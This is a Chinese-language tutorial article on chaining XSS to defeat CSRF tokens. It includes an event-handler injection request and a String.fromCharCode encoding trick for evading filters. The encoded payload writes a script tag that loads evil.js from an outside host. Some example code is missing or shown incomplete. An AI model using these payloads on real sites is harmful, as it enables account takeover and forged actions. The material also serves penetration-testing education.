當前位置:
首頁 > 新聞 > 利用XSS繞過CSRF防禦

利用XSS繞過CSRF防禦

在驗證目標網站應用的xss漏洞時,我一般不會選擇彈框的方式。

我覺得最好的payloads是利用需要認證的功能,比如當管理員登錄時就新建一個用戶。

其他有用的payloads取決於應用本身,比如在購物應用中購買一個商品或者在拍賣應用中競價。

這些攻擊其實是一種有效的CSRF攻擊。

現在很多應用都增加了CSRF token來防止CSRF攻擊。

如果應用存在xss攻擊,那麼這種防護通常可以被繞過。

以下就是利用xss漏洞來繞過CSRF防禦在WordPress中添加用戶的例子。需要管理員執行才能生效。

//Use this to exploit XSS to compromise the application.

// just use the XSS payload of

我曾經遇到一個應用,防禦做的非常好,幾乎過濾了所有的xss payload,但我還是成功的通過一個參數將payload插入到一個事件處理器中。

這個處理器使用location.assign來重定向用戶,而且用戶提供的參數值是通過URL傳遞的。要突破location.assign的限制,我們需要一個單引號和一個管道來執行額外的js函數。

請求如下:

GET /function?parameter=value"|alert(1)|"&Print=Yes

結果如下:

1

在HTML環境中,這會執行alert payload。

為了繞過xss過濾器和不適用任何單引號和雙引號,我選擇使用document.write和字元編碼的方式來寫入script標籤。

幾行python代碼就可以編寫一個合適的payload:

>> payload = ""

>>> inject = "document.write(String.fromCharCode("+",".join([str(ord(n)) for n in payload])+"))"

>>> inject

"document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,115,58,47,47,119,119,119,46,110,48,48,112,121,46,105,111,47,101,118,105,108,46,106,115,39,62,60,47,115,99,114,105,112,116,62))"

如果上述代碼中」inject」的值轉成了alert(1),那我們的payload就會幹以下事情:

1.把charcode數據轉換成字元串()

2.執行時把script標籤寫入到web頁面中

3.script標籤會加在外部js腳本並執行

4.外部js腳本會繞過成功繞過CSRF防護

通過使用String.fromCharCode函數,任何payload都可以寫入到web頁面中,不用擔心黑名單對特殊字元的限制。保證你的惡意js腳本能通過https傳輸也很重要。如果你發現一個使用https協議的網站存在xss漏洞,你的payload要能夠通過https來避免被屏蔽掉。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

利用Frida打造ELF解析器

TAG:嘶吼RoarTalk |